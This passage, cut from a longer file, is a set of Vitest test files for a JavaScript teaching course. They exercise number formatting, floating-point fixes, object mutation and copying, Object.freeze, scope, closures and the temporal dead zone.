style: 'currency', currency: 'USD', }) expect(formatter.format(0.30)).toBe("$0.30") expect(formatter.format(19.99)).toBe("$19.99") expect(formatter.format(1000)).toBe("$1,000.00") }) it('should handle different locales', () => { const euroFormatter = new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR', }) // German locale uses comma for decimal and period for thousands expect(euroFormatter.format(1234.56)).toContain("1.234,56") }) }) describe('Floating-Point Solutions', () => { it('should use Number.EPSILON for floating-point comparison', () => { const result = 0.1 + 0.2 const expected = 0.3 // Using epsilon comparison for floating-point expect(Math.abs(result - expected) < Number.EPSILON).toBe(true) }) it('should use toFixed for rounding display', () => { expect((0.1 + 0.2).toFixed(2)).toBe("0.30") expect((0.1 + 0.2).toFixed(1)).toBe("0.3") }) it('should use integers (cents) for precise money calculations', () => { // Instead of 0.1 + 0.2, use cents const price1 = 10 // 10 cents const price2 = 20 // 20 cents const total = price1 + price2 expect(total).toBe(30) // Exactly 30 cents expect(total / 100).toBe(0.3) // $0.30 }) }) describe('Array Holes', () => { it('should return undefined for array holes', () => { let arr = [1, , 3] // Sparse array with hole at index 1 expect(arr[0]).toBe(1) expect(arr[1]).toBe(undefined) expect(arr[2]).toBe(3) expect(arr.length).toBe(3) }) it('should skip holes in forEach but include in map', () => { let arr = [1, , 3] let forEachCount = 0 let mapResult arr.forEach(() => forEachCount++) mapResult = arr.map(x => x * 2) expect(forEachCount).toBe(2) // Holes are skipped expect(mapResult).toEqual([2, undefined, 6]) // Hole becomes undefined in map result }) }) describe('String Trim for Empty/Whitespace Check', () => { it('should use trim to check for empty or whitespace-only strings', () => { expect("".trim() === "").toBe(true) expect(" ".trim() === "").toBe(true) expect("\t\n".trim() === "").toBe(true) expect("hello".trim() === "").toBe(false) expect(" hello ".trim() === "").toBe(false) }) it('should use trim with length check for validation', () => { function isEmptyOrWhitespace(str) { return str.trim().length === 0 } expect(isEmptyOrWhitespace("")).toBe(true) expect(isEmptyOrWhitespace(" ")).toBe(true) expect(isEmptyOrWhitespace("hello")).toBe(false) }) }) describe('null vs undefined Patterns', () => { it('should demonstrate clearing with null vs undefined', () => { let user = { name: "Alice" } // Clear intentionally with null user = null expect(user).toBe(null) }) it('should show function returning null for no result', () => { function findUser(id) { const users = [{ id: 1, name: "Alice" }] return users.find(u => u.id === id) || null } expect(findUser(1)).toEqual({ id: 1, name: "Alice" }) expect(findUser(999)).toBe(null) }) }) }) ================================================ FILE: tests/fundamentals/primitives-objects/primitives-objects.test.js ================================================ import { describe, it, expect } from 'vitest' /** * Tests for Primitives vs Objects concept * Source: /docs/concepts/primitives-objects.mdx * * Key concepts tested: * - Primitives are immutable, objects are mutable * - Call by sharing semantics (mutation works, reassignment doesn't) * - Object identity vs value comparison * - Shallow vs deep copying */ describe('Primitives and Objects', () => { describe('Primitives: Immutable and Independent', () => { // Source: lines 85-100 - Primitives behave independently it('should create independent copies when copying primitives', () => { let a = 10 let b = a // b gets an independent copy b = 20 // changing b has NO effect on a expect(a).toBe(10) // unchanged! expect(b).toBe(20) }) // Source: lines 101-108 - String immutability it('should demonstrate string immutability - methods return new strings', () => { let greeting = "hello" let shout = greeting.toUpperCase() expect(greeting).toBe("hello") // unchanged! expect(shout).toBe("HELLO") // new string }) it('should demonstrate primitive variables are independent', () => { let name = "Alice" let age = 25 let user = { name: "Alice" } // Object reference let scores = [95, 87, 92] // Array reference expect(name).toBe("Alice") expect(age).toBe(25) expect(user).toEqual({ name: "Alice" }) expect(scores).toEqual([95, 87, 92]) }) }) describe('Objects: Mutable and Shared', () => { it('should share reference when copying objects', () => { let obj1 = { name: "Alice" } let obj2 = obj1 obj2.name = "Bob" expect(obj1.name).toBe("Bob") expect(obj2.name).toBe("Bob") }) it('should share reference when copying arrays', () => { let arr1 = [1, 2, 3] let arr2 = arr1 arr2.push(4) expect(arr1).toEqual([1, 2, 3, 4]) expect(arr2).toEqual([1, 2, 3, 4]) }) }) describe('Call by Sharing Semantics', () => { it('should allow mutation through function parameters', () => { function rename(person) { person.name = "Bob" } const user = { name: "Alice" } rename(user) expect(user.name).toBe("Bob") }) it('should NOT allow reassignment through function parameters', () => { function replace(person) { person = { name: "Charlie" } } const user = { name: "Alice" } replace(user) expect(user.name).toBe("Alice") }) it('should demonstrate call by sharing applies to primitives too', () => { function double(num) { num = num * 2 return num } let x = 10 let result = double(x) expect(x).toBe(10) expect(result).toBe(20) }) }) describe('Comparison Behavior', () => { describe('Primitives: Compared by Value', () => { it('should return true for equal primitive values', () => { let a = "hello" let b = "hello" expect(a === b).toBe(true) let x = 42 let y = 42 expect(x === y).toBe(true) }) }) describe('Objects: Compared by Reference', () => { it('should return false for different objects with same content', () => { let obj1 = { name: "Alice" } let obj2 = { name: "Alice" } expect(obj1 === obj2).toBe(false) // different objects! }) it('should return true for same reference', () => { let obj1 = { name: "Alice" } let obj3 = obj1 expect(obj1 === obj3).toBe(true) // same reference }) it('should return false for empty objects/arrays compared', () => { // These tests intentionally demonstrate that objects compare by reference const emptyObj1 = {} const emptyObj2 = {} expect(emptyObj1 === emptyObj2).toBe(false) const emptyArr1 = [] const emptyArr2 = [] expect(emptyArr1 === emptyArr2).toBe(false) const arr1 = [1, 2] const arr2 = [1, 2] expect(arr1 === arr2).toBe(false) }) }) describe('Comparing Objects by Content', () => { it('should use JSON.stringify for simple comparison', () => { let obj1 = { name: "Alice" } let obj2 = { name: "Alice" } expect(JSON.stringify(obj1) === JSON.stringify(obj2)).toBe(true) }) it('should compare arrays of primitives with every()', () => { let arr1 = [1, 2, 3] let arr2 = [1, 2, 3] expect(arr1.length === arr2.length && arr1.every((v, i) => v === arr2[i])).toBe(true) }) }) }) describe('Functions and Parameters', () => { describe('Passing Primitives', () => { it('should not modify original when passing primitive to function', () => { function double(num) { num = num * 2 return num } let x = 10 let result = double(x) expect(x).toBe(10) // unchanged! expect(result).toBe(20) }) }) describe('Passing Objects', () => { it('should modify original object when mutating through function parameter', () => { function rename(person) { person.name = "Bob" } let user = { name: "Alice" } rename(user) expect(user.name).toBe("Bob") // changed! }) it('should not modify original when reassigning parameter', () => { function replace(person) { person = { name: "Charlie" } // creates NEW local object } let user = { name: "Alice" } replace(user) expect(user.name).toBe("Alice") // unchanged! }) }) }) describe('Mutation vs Reassignment', () => { describe('Mutation', () => { it('should modify array with mutating methods', () => { const arr = [1, 2, 3] arr.push(4) expect(arr).toEqual([1, 2, 3, 4]) arr[0] = 99 expect(arr).toEqual([99, 2, 3, 4]) arr.pop() expect(arr).toEqual([99, 2, 3]) }) it('should modify object properties', () => { const obj = { name: "Alice" } obj.name = "Bob" expect(obj.name).toBe("Bob") obj.age = 25 expect(obj.age).toBe(25) delete obj.age expect(obj.age).toBe(undefined) }) }) describe('Reassignment', () => { it('should point to new value after reassignment', () => { let arr = [1, 2, 3] arr = [4, 5, 6] expect(arr).toEqual([4, 5, 6]) let obj = { name: "Alice" } obj = { name: "Bob" } expect(obj).toEqual({ name: "Bob" }) }) }) describe('const with Objects', () => { it('should allow mutations on const objects', () => { const arr = [1, 2, 3] arr.push(4) expect(arr).toEqual([1, 2, 3, 4]) arr[0] = 99 expect(arr).toEqual([99, 2, 3, 4]) }) it('should allow mutations on const object properties', () => { const obj = { name: "Alice" } obj.name = "Bob" expect(obj.name).toBe("Bob") obj.age = 25 expect(obj.age).toBe(25) }) it('should throw TypeError when reassigning const', () => { expect(() => { eval('const x = 1; x = 2') // Using eval to test const reassignment }).toThrow() }) }) }) describe('Object.freeze()', () => { it('should throw TypeError when modifying frozen object in strict mode', () => { const user = Object.freeze({ name: "Alice", age: 25 }) // In strict mode (which Vitest uses), modifications throw TypeError expect(() => { user.name = "Bob" }).toThrow(TypeError) expect(() => { user.email = "a@b.com" }).toThrow(TypeError) expect(() => { delete user.age }).toThrow(TypeError) expect(user).toEqual({ name: "Alice", age: 25 }) // unchanged! }) it('should check if object is frozen', () => { const frozen = Object.freeze({ a: 1 }) const normal = { a: 1 } expect(Object.isFrozen(frozen)).toBe(true) expect(Object.isFrozen(normal)).toBe(false) }) it('should only freeze shallow - nested objects can still be modified', () => { const user = Object.freeze({ name: "Alice", address: { city: "NYC" } }) // In strict mode, modifying frozen property throws TypeError expect(() => { user.name = "Bob" }).toThrow(TypeError) // But nested object is not frozen, so this works user.address.city = "LA" expect(user.name).toBe("Alice") // unchanged expect(user.address.city).toBe("LA") // changed! }) }) describe('Deep Freeze', () => { it('should freeze nested objects with deep freeze function', () => { function deepFreeze(obj, seen = new WeakSet()) { // Prevent infinite loops from circular references if (seen.has(obj)) return obj seen.add(obj) const propNames = Reflect.ownKeys(obj) for (const name of propNames) { const value = obj[name] if (value && typeof value === "object") { deepFreeze(value, seen) } } return Object.freeze(obj) } const user = deepFreeze({ name: "Alice", address: { city: "NYC" } }) // In strict mode, this throws TypeError since nested object is now frozen expect(() => { user.address.city = "LA" }).toThrow(TypeError) expect(user.address.city).toBe("NYC") // Now blocked! }) it('should handle circular references without infinite loop', () => { function deepFreeze(obj, seen = new WeakSet()) { if (seen.has(obj)) return obj seen.add(obj) const propNames = Reflect.ownKeys(obj) for (const name of propNames) { const value = obj[name] if (value && typeof value === "object") { deepFreeze(value, seen) } } return Object.freeze(obj) } // Create object with circular reference const obj = { name: "test" } obj.self = obj // Circular reference // Should not throw or hang - handles circular reference const frozen = deepFreeze(obj) expect(Object.isFrozen(frozen)).toBe(true) expect(frozen.self).toBe(frozen) // Circular reference preserved expect(() => { frozen.name = "changed" }).toThrow(TypeError) }) }) describe('Object.seal() and Object.preventExtensions()', () => { it('should allow value changes but prevent add/delete with seal()', () => { const sealed = Object.seal({ name: "Alice" }) sealed.name = "Bob" expect(sealed.name).toBe("Bob") // Works! // In strict mode, these throw TypeError instead of failing silently expect(() => { sealed.age = 25 }).toThrow(TypeError) expect(sealed.age).toBe(undefined) expect(() => { delete sealed.name }).toThrow(TypeError) expect(sealed.name).toBe("Bob") }) it('should allow change/delete but prevent add with preventExtensions()', () => { const noExtend = Object.preventExtensions({ name: "Alice" }) noExtend.name = "Bob" expect(noExtend.name).toBe("Bob") // Works! delete noExtend.name expect(noExtend.name).toBe(undefined) // Works! // In strict mode, adding properties throws TypeError expect(() => { noExtend.age = 25 }).toThrow(TypeError) expect(noExtend.age).toBe(undefined) }) }) describe('Shallow Copy', () => { it('should create shallow copy with spread operator', () => { const original = { name: "Alice", scores: [95, 87, 92], address: { city: "NYC" } } const copy1 = { ...original } expect(copy1.name).toBe("Alice") expect(copy1).not.toBe(original) // Different objects }) it('should create shallow copy with Object.assign', () => { const original = { name: "Alice" } const copy2 = Object.assign({}, original) expect(copy2.name).toBe("Alice") expect(copy2).not.toBe(original) }) it('should share nested objects in shallow copy', () => { const original = { name: "Alice", address: { city: "NYC" } } const shallow = { ...original } // Top-level changes are independent shallow.name = "Bob" expect(original.name).toBe("Alice") // But nested objects are SHARED shallow.address.city = "LA" expect(original.address.city).toBe("LA") // Original changed! }) it('should create shallow copy of arrays', () => { const originalArray = [1, 2, 3] const arrCopy1 = [...originalArray] const arrCopy2 = originalArray.slice() const arrCopy3 = Array.from(originalArray) expect(arrCopy1).toEqual([1, 2, 3]) expect(arrCopy2).toEqual([1, 2, 3]) expect(arrCopy3).toEqual([1, 2, 3]) expect(arrCopy1).not.toBe(originalArray) expect(arrCopy2).not.toBe(originalArray) expect(arrCopy3).not.toBe(originalArray) }) }) describe('Deep Copy', () => { it('should create deep copy with structuredClone', () => { const original = { name: "Alice", scores: [95, 87, 92], address: { city: "NYC" }, date: new Date() } const deep = structuredClone(original) // Everything is independent deep.address.city = "LA" expect(original.address.city).toBe("NYC") // unchanged! deep.scores.push(100) expect(original.scores).toEqual([95, 87, 92]) // unchanged! }) it('should create deep copy with JSON trick (with limitations)', () => { const original = { name: "Alice", address: { city: "NYC" } } const deep = JSON.parse(JSON.stringify(original)) deep.address.city = "LA" expect(original.address.city).toBe("NYC") // unchanged! }) it('should demonstrate JSON trick limitations', () => { const obj = { fn: () => {}, date: new Date('2025-01-01'), undef: undefined, set: new Set([1, 2]) } const clone = JSON.parse(JSON.stringify(obj)) expect(clone.fn).toBe(undefined) // Functions lost expect(typeof clone.date).toBe('string') // Date becomes string expect(clone.undef).toBe(undefined) // Property removed expect(clone.set).toEqual({}) // Set becomes empty object }) }) describe('Array Methods: Mutating vs Non-Mutating', () => { describe('Mutating Methods', () => { it('should mutate array with push, pop, shift, unshift', () => { const arr = [1, 2, 3] arr.push(4) expect(arr).toEqual([1, 2, 3, 4]) arr.pop() expect(arr).toEqual([1, 2, 3]) arr.shift() expect(arr).toEqual([2, 3]) arr.unshift(1) expect(arr).toEqual([1, 2, 3]) }) it('should mutate array with sort and reverse', () => { const nums = [3, 1, 2] nums.sort() expect(nums).toEqual([1, 2, 3]) // Original mutated! nums.reverse() expect(nums).toEqual([3, 2, 1]) // Original mutated! }) it('should mutate array with splice', () => { const arr = [1, 2, 3, 4, 5] arr.splice(2, 1) // Remove 1 element at index 2 expect(arr).toEqual([1, 2, 4, 5]) }) }) describe('Non-Mutating Methods', () => { it('should not mutate with map, filter, slice, concat', () => { const original = [1, 2, 3] const mapped = original.map(x => x * 2) expect(original).toEqual([1, 2, 3]) expect(mapped).toEqual([2, 4, 6]) const filtered = original.filter(x => x > 1) expect(original).toEqual([1, 2, 3]) expect(filtered).toEqual([2, 3]) const sliced = original.slice(1) expect(original).toEqual([1, 2, 3]) expect(sliced).toEqual([2, 3]) const concatenated = original.concat([4, 5]) expect(original).toEqual([1, 2, 3]) expect(concatenated).toEqual([1, 2, 3, 4, 5]) }) it('should use toSorted and toReversed for non-mutating sort/reverse (ES2023)', () => { const nums = [3, 1, 2] const sorted = nums.toSorted() expect(nums).toEqual([3, 1, 2]) // Original unchanged expect(sorted).toEqual([1, 2, 3]) const reversed = nums.toReversed() expect(nums).toEqual([3, 1, 2]) // Original unchanged expect(reversed).toEqual([2, 1, 3]) }) }) describe('Safe Sorting Pattern', () => { it('should copy array before sorting to avoid mutation', () => { const nums = [3, 1, 2] const sorted = [...nums].sort() expect(nums).toEqual([3, 1, 2]) // Original unchanged expect(sorted).toEqual([1, 2, 3]) }) }) }) describe('Common Pitfalls', () => { it('should demonstrate accidental array mutation in function', () => { function processUsers(users) { const copy = [...users] copy.push({ name: "New User" }) return copy } const myUsers = [{ name: "Alice" }] const result = processUsers(myUsers) expect(myUsers).toEqual([{ name: "Alice" }]) // Original unchanged expect(result).toEqual([{ name: "Alice" }, { name: "New User" }]) }) it('should demonstrate backup pattern failure', () => { const original = [1, 2, 3] const notABackup = original // NOT a backup! original.push(4) expect(notABackup).toEqual([1, 2, 3, 4]) // "backup" changed! // Correct backup const original2 = [1, 2, 3] const backup = [...original2] original2.push(4) expect(backup).toEqual([1, 2, 3]) // Real backup unchanged }) it('should demonstrate deep equality comparison', () => { function deepEqual(a, b) { return JSON.stringify(a) === JSON.stringify(b) } const obj1 = { name: "Alice", age: 25 } const obj2 = { name: "Alice", age: 25 } expect(obj1 === obj2).toBe(false) expect(deepEqual(obj1, obj2)).toBe(true) }) }) describe('Best Practices: Immutable Patterns', () => { it('should create new object instead of mutating', () => { const user = { name: "Alice", age: 25 } // Instead of: user.name = "Bob" const updatedUser = { ...user, name: "Bob" } expect(user.name).toBe("Alice") // Original unchanged expect(updatedUser.name).toBe("Bob") }) it('should use non-mutating array methods', () => { const numbers = [3, 1, 2] // Instead of: numbers.sort() const sorted = [...numbers].sort((a, b) => a - b) expect(numbers).toEqual([3, 1, 2]) // Original unchanged expect(sorted).toEqual([1, 2, 3]) }) }) describe('structuredClone with Special Types', () => { it('should deep clone objects with Map', () => { const original = { name: "Alice", data: new Map([["key1", "value1"], ["key2", "value2"]]) } const clone = structuredClone(original) // Modify the clone's Map clone.data.set("key1", "modified") clone.data.set("key3", "new value") // Original should be unchanged expect(original.data.get("key1")).toBe("value1") expect(original.data.has("key3")).toBe(false) expect(clone.data.get("key1")).toBe("modified") }) it('should deep clone objects with Set', () => { const original = { name: "Alice", tags: new Set([1, 2, 3]) } const clone = structuredClone(original) // Modify the clone's Set clone.tags.add(4) clone.tags.delete(1) // Original should be unchanged expect(original.tags.has(1)).toBe(true) expect(original.tags.has(4)).toBe(false) expect(clone.tags.has(1)).toBe(false) expect(clone.tags.has(4)).toBe(true) }) it('should deep clone objects with Date', () => { const original = { name: "Event", date: new Date("2025-01-01") } const clone = structuredClone(original) expect(clone.date instanceof Date).toBe(true) expect(clone.date.getTime()).toBe(original.date.getTime()) expect(clone.date).not.toBe(original.date) // Different reference }) }) describe('Shared Default Object Reference Pitfall', () => { it('should demonstrate shared default array problem', () => { const defaultList = [] function addItem(item, list = defaultList) { list.push(item) return list } const result1 = addItem("a") const result2 = addItem("b") // Both calls modified the same defaultList! expect(result1).toEqual(["a", "b"]) expect(result2).toEqual(["a", "b"]) expect(result1).toBe(result2) // Same reference! }) it('should fix shared default with new array creation', () => { function addItem(item, list = []) { list.push(item) return list } const result1 = addItem("a") const result2 = addItem("b") // Each call gets its own array expect(result1).toEqual(["a"]) expect(result2).toEqual(["b"]) expect(result1).not.toBe(result2) }) }) describe('WeakMap vs Map Memory Behavior', () => { it('should demonstrate Map holds strong references', () => { const cache = new Map() let user = { id: 1, name: "Alice" } cache.set(user.id, user) // Even if we clear user, the Map still holds the reference const cachedUser = cache.get(1) expect(cachedUser.name).toBe("Alice") }) it('should demonstrate WeakMap allows garbage collection', () => { const cache = new WeakMap() let user = { id: 1, name: "Alice" } cache.set(user, { computed: "expensive data" }) // WeakMap uses the object itself as key expect(cache.get(user)).toEqual({ computed: "expensive data" }) // WeakMap keys must be objects expect(() => cache.set("string-key", "value")).toThrow(TypeError) }) it('should show WeakMap cannot be iterated', () => { const weakMap = new WeakMap() const obj = { id: 1 } weakMap.set(obj, "value") // WeakMap has no size property expect(weakMap.size).toBe(undefined) // WeakMap is not iterable expect(typeof weakMap[Symbol.iterator]).toBe("undefined") }) }) describe('Clone Function Parameters Pattern', () => { it('should clone parameters before modification', () => { function processData(data) { // Clone to avoid modifying original const copy = structuredClone(data) copy.processed = true copy.items.push("new item") return copy } const original = { name: "data", items: ["item1", "item2"] } const result = processData(original) // Original is unchanged expect(original.processed).toBe(undefined) expect(original.items).toEqual(["item1", "item2"]) // Result has modifications expect(result.processed).toBe(true) expect(result.items).toEqual(["item1", "item2", "new item"]) }) }) describe('let with Object.freeze()', () => { it('should allow reassignment of let variable holding frozen object', () => { let obj = Object.freeze({ a: 1 }) // Cannot modify the frozen object expect(() => { obj.a = 2 }).toThrow(TypeError) // But CAN reassign the variable to a new object obj = { a: 2 } expect(obj.a).toBe(2) }) it('should demonstrate const + freeze for true immutability', () => { const obj = Object.freeze({ a: 1 }) // Cannot modify the frozen object expect(() => { obj.a = 2 }).toThrow(TypeError) // Cannot reassign const // obj = { a: 2 } // Would throw TypeError expect(obj.a).toBe(1) }) }) }) ================================================ FILE: tests/fundamentals/scope-and-closures/scope-and-closures.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Scope and Closures', () => { describe('Scope Basics', () => { describe('Preventing Naming Conflicts', () => { it('should keep variables separate in different functions', () => { function countApples() { let count = 0 count++ return count } function countOranges() { let count = 0 count++ return count } expect(countApples()).toBe(1) expect(countOranges()).toBe(1) }) }) describe('Memory Management', () => { it('should demonstrate scope cleanup concept', () => { function processData() { let hugeArray = new Array(1000).fill('x') return hugeArray.length } // hugeArray can be garbage collected after function returns expect(processData()).toBe(1000) }) }) describe('Encapsulation', () => { it('should hide implementation details', () => { function createBankAccount() { let balance = 0 return { deposit(amount) { balance += amount }, getBalance() { return balance } } } const account = createBankAccount() account.deposit(100) expect(account.getBalance()).toBe(100) // balance is private - cannot access directly }) }) }) describe('The Three Types of Scope', () => { describe('Global Scope', () => { it('should access global variables from anywhere', () => { const appName = "MyApp" let userCount = 0 function greet() { userCount++ return appName } expect(greet()).toBe("MyApp") expect(userCount).toBe(1) }) }) describe('Function Scope', () => { it('should keep var variables within function', () => { function calculateTotal() { var subtotal = 100 var tax = 10 var total = subtotal + tax return total } expect(calculateTotal()).toBe(110) // subtotal, tax, total are not accessible here }) describe('var Hoisting', () => { it('should demonstrate var hoisting behavior', () => { function example() { const first = message // undefined (not an error!) var message = "Hello" const second = message // "Hello" return { first, second } } const result = example() expect(result.first).toBe(undefined) expect(result.second).toBe("Hello") }) }) }) describe('Block Scope', () => { it('should keep let and const within blocks', () => { let outsideBlock = "outside" if (true) { let blockLet = "I'm block-scoped" const blockConst = "Me too" var functionVar = "I escape the block!" outsideBlock = blockLet // Can access from inside } expect(functionVar).toBe("I escape the block!") expect(outsideBlock).toBe("I'm block-scoped") // blockLet and blockConst are not accessible here }) describe('Temporal Dead Zone', () => { it('should throw ReferenceError when accessing let before declaration', () => { function demo() { // TDZ for 'name' starts here const getName = () => name // This creates closure over TDZ variable let name = "Alice" // TDZ ends here return name } expect(demo()).toBe("Alice") }) it('should demonstrate proper let declaration', () => { function demo() { let name = "Alice" return name } expect(demo()).toBe("Alice") }) }) }) }) describe('var vs let vs const', () => { describe('Redeclaration', () => { it('should allow var redeclaration', () => { var name = "Alice" var name = "Bob" // No error, silently overwrites expect(name).toBe("Bob") }) // Note: let and const redeclaration would cause SyntaxError // which cannot be tested at runtime }) describe('Reassignment', () => { it('should allow var and let reassignment', () => { var count = 1 count = 2 expect(count).toBe(2) let score = 100 score = 200 expect(score).toBe(200) }) it('should allow const object mutation but not reassignment', () => { const user = { name: "Alice" } user.name = "Bob" // Works! user.age = 25 // Works! expect(user.name).toBe("Bob") expect(user.age).toBe(25) // user = {} would throw TypeError }) }) describe('The Classic for-loop Problem', () => { it('should demonstrate var problem with setTimeout', async () => { const results = [] // Using var - only ONE i variable shared for (var i = 0; i < 3; i++) { // Capture current value using IIFE ((j) => { setTimeout(() => { results.push(j) }, 10) })(i) } await new Promise(resolve => setTimeout(resolve, 50)) expect(results.sort()).toEqual([0, 1, 2]) }) it('should demonstrate let solution with setTimeout', async () => { const results = [] // Using let - each iteration gets its OWN i variable for (let i = 0; i < 3; i++) { setTimeout(() => { results.push(i) }, 10) } await new Promise(resolve => setTimeout(resolve, 50)) expect(results.sort()).toEqual([0, 1, 2]) }) }) }) describe('Lexical Scope', () => { it('should access variables from outer scopes', () => { const outer = "I'm outside!" function outerFunction() { const middle = "I'm in the middle!" function innerFunction() { const inner = "I'm inside!" return { inner, middle, outer } } return innerFunction() } const result = outerFunction() expect(result.inner).toBe("I'm inside!") expect(result.middle).toBe("I'm in the middle!") expect(result.outer).toBe("I'm outside!") }) describe('Scope Chain', () => { it('should walk up the scope chain to find variables', () => { const x = "global" function outer() { const x = "outer" function inner() { // Looks for x in inner scope first (not found) // Then looks in outer scope (found!) return x } return inner() } expect(outer()).toBe("outer") }) }) describe('Variable Shadowing', () => { it('should shadow outer variables with inner declarations', () => { const name = "Global" function greet() { const name = "Function" // Shadows global 'name' function inner() { const name = "Block" // Shadows function 'name' return name } return { inner: inner(), outer: name } } const result = greet() expect(result.inner).toBe("Block") expect(result.outer).toBe("Function") expect(name).toBe("Global") }) }) }) describe('Closures', () => { describe('Basic Closure', () => { it('should remember variables from outer scope', () => { function createGreeter(greeting) { return function(name) { return `${greeting}, ${name}!` } } const sayHello = createGreeter("Hello") const sayHola = createGreeter("Hola") expect(sayHello("Alice")).toBe("Hello, Alice!") expect(sayHola("Bob")).toBe("Hola, Bob!") }) }) describe('Data Privacy & Encapsulation', () => { it('should create truly private variables', () => { function createCounter() { let count = 0 // Private variable! return { increment() { count++ return count }, decrement() { count-- return count }, getCount() { return count } } } const counter = createCounter() expect(counter.getCount()).toBe(0) expect(counter.increment()).toBe(1) expect(counter.increment()).toBe(2) expect(counter.decrement()).toBe(1) expect(counter.count).toBe(undefined) // Cannot access directly! }) }) describe('Function Factories', () => { it('should create specialized functions', () => { function createMultiplier(multiplier) { return function(number) { return number * multiplier } } const double = createMultiplier(2) const triple = createMultiplier(3) const tenX = createMultiplier(10) expect(double(5)).toBe(10) expect(triple(5)).toBe(15) expect(tenX(5)).toBe(50) }) it('should create API clients with base URL', () => { function createApiClient(baseUrl) { return { getUrl(endpoint) { return `${baseUrl}${endpoint}` } } } const githubApi = createApiClient('https://api.github.com') const myApi = createApiClient('https://myapp.com/api') expect(githubApi.getUrl('/users')).toBe('https://api.github.com/users') expect(myApi.getUrl('/users')).toBe('https://myapp.com/api/users') }) }) describe('Preserving State in Callbacks', () => { it('should maintain state across multiple calls', () => { function setupClickCounter() { let clicks = 0 return function handleClick() { clicks++ return clicks } } const handleClick = setupClickCounter() expect(handleClick()).toBe(1) expect(handleClick()).toBe(2) expect(handleClick()).toBe(3) }) }) describe('Memoization', () => { it('should cache expensive computation results', () => { function createMemoizedFunction(fn) { const cache = {} return function(arg) { if (arg in cache) { return { value: cache[arg], cached: true } } const result = fn(arg) cache[arg] = result return { value: result, cached: false } } } function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) } const memoizedFactorial = createMemoizedFunction(factorial) const first = memoizedFactorial(5) expect(first.value).toBe(120) expect(first.cached).toBe(false) const second = memoizedFactorial(5) expect(second.value).toBe(120) expect(second.cached).toBe(true) }) }) }) describe('The Classic Closure Trap', () => { describe('The Problem with var in Loops', () => { it('should demonstrate the problem', () => { const funcs = [] for (var i = 0; i < 3; i++) { funcs.push(function() { return i }) } // All functions return 3 because they share the same 'i' expect(funcs[0]()).toBe(3) expect(funcs[1]()).toBe(3) expect(funcs[2]()).toBe(3) }) }) describe('Solution 1: Use let', () => { it('should create new binding per iteration', () => { const funcs = [] for (let i = 0; i < 3; i++) { funcs.push(function() { return i }) } expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) }) describe('Solution 2: IIFE', () => { it('should capture value in IIFE scope', () => { const funcs = [] for (var i = 0; i < 3; i++) { (function(j) { funcs.push(function() { return j }) })(i) } expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) }) describe('Solution 3: forEach', () => { it('should create new scope per iteration', () => { const funcs = [] ;[0, 1, 2].forEach(function(i) { funcs.push(function() { return i }) }) expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) }) }) describe('Closure Memory Considerations', () => { it('should demonstrate closure keeping references alive', () => { function createClosure() { const data = { value: 42 } return function() { return data.value } } const getClosure = createClosure() // data is kept alive because getClosure references it expect(getClosure()).toBe(42) }) it('should demonstrate cleanup with null assignment', () => { function createHandler() { let largeData = new Array(100).fill('data') const handler = function() { return largeData.length } return { handler, cleanup() { largeData = null // Allow garbage collection } } } const { handler, cleanup } = createHandler() expect(handler()).toBe(100) cleanup() // Now largeData can be garbage collected }) }) describe('Practical Closure Patterns', () => { describe('Private State Pattern', () => { it('should create objects with private state', () => { function createWallet(initial) { let balance = initial return { spend(amount) { if (amount <= balance) { balance -= amount return true } return false }, getBalance() { return balance } } } const wallet = createWallet(100) expect(wallet.getBalance()).toBe(100) expect(wallet.spend(30)).toBe(true) expect(wallet.getBalance()).toBe(70) expect(wallet.spend(100)).toBe(false) expect(wallet.getBalance()).toBe(70) }) }) describe('Tax Calculator Factory', () => { it('should create specialized tax calculators', () => { function createTaxCalculator(rate) { return (amount) => amount * rate } const calculateVAT = createTaxCalculator(0.20) const calculateGST = createTaxCalculator(0.10) expect(calculateVAT(100)).toBe(20) expect(calculateGST(100)).toBe(10) }) }) describe('Logger Factory', () => { it('should create prefixed loggers', () => { function setupLogger(prefix) { return (message) => `[${prefix}] ${message}` } const errorLogger = setupLogger('ERROR') const infoLogger = setupLogger('INFO') expect(errorLogger('Something went wrong')).toBe('[ERROR] Something went wrong') expect(infoLogger('All good')).toBe('[INFO] All good') }) }) describe('Memoize Pattern', () => { it('should cache results with closures', () => { function memoize(fn) { const cache = {} return (arg) => cache[arg] ?? (cache[arg] = fn(arg)) } let callCount = 0 const expensive = (n) => { callCount++ return n * n } const memoizedExpensive = memoize(expensive) expect(memoizedExpensive(5)).toBe(25) expect(callCount).toBe(1) expect(memoizedExpensive(5)).toBe(25) expect(callCount).toBe(1) // Still 1, used cache expect(memoizedExpensive(6)).toBe(36) expect(callCount).toBe(2) }) }) }) describe('Test Your Knowledge Examples', () => { it('should identify all three scope types', () => { const globalVar = "everywhere" // Global scope function example() { var functionScoped = "function" // Function scope if (true) { let blockScoped = "block" // Block scope expect(blockScoped).toBe("block") } expect(functionScoped).toBe("function") } example() expect(globalVar).toBe("everywhere") }) it('should demonstrate closure definition', () => { function createCounter() { let count = 0 return function() { count++ return count } } const counter = createCounter() expect(counter()).toBe(1) expect(counter()).toBe(2) }) it('should show var loop outputs 3,3,3 pattern', () => { const results = [] for (var i = 0; i < 3; i++) { results.push(() => i) } expect(results[0]()).toBe(3) expect(results[1]()).toBe(3) expect(results[2]()).toBe(3) }) it('should show let loop outputs 0,1,2 pattern', () => { const results = [] for (let i = 0; i < 3; i++) { results.push(() => i) } expect(results[0]()).toBe(0) expect(results[1]()).toBe(1) expect(results[2]()).toBe(2) }) }) describe('Temporal Dead Zone (TDZ)', () => { it('should throw ReferenceError when accessing let before declaration', () => { expect(() => { // Using eval to avoid syntax errors at parse time eval(` const before = x let x = 10 `) }).toThrow(ReferenceError) }) it('should throw ReferenceError when accessing const before declaration', () => { expect(() => { eval(` const before = y const y = 10 `) }).toThrow(ReferenceError) }) it('should demonstrate TDZ exists from block start to declaration', () => { let outsideValue = "outside" expect(() => { eval(` { // TDZ starts here for 'name' const beforeDeclaration = name // ReferenceError let name = "Alice" } `) }).toThrow(ReferenceError) }) it('should not throw for var due to hoisting', () => { // var is hoisted with undefined value, so no TDZ function example() { const before = message // undefined, not an error var message = "Hello" const after = message // "Hello" return { before, after } } 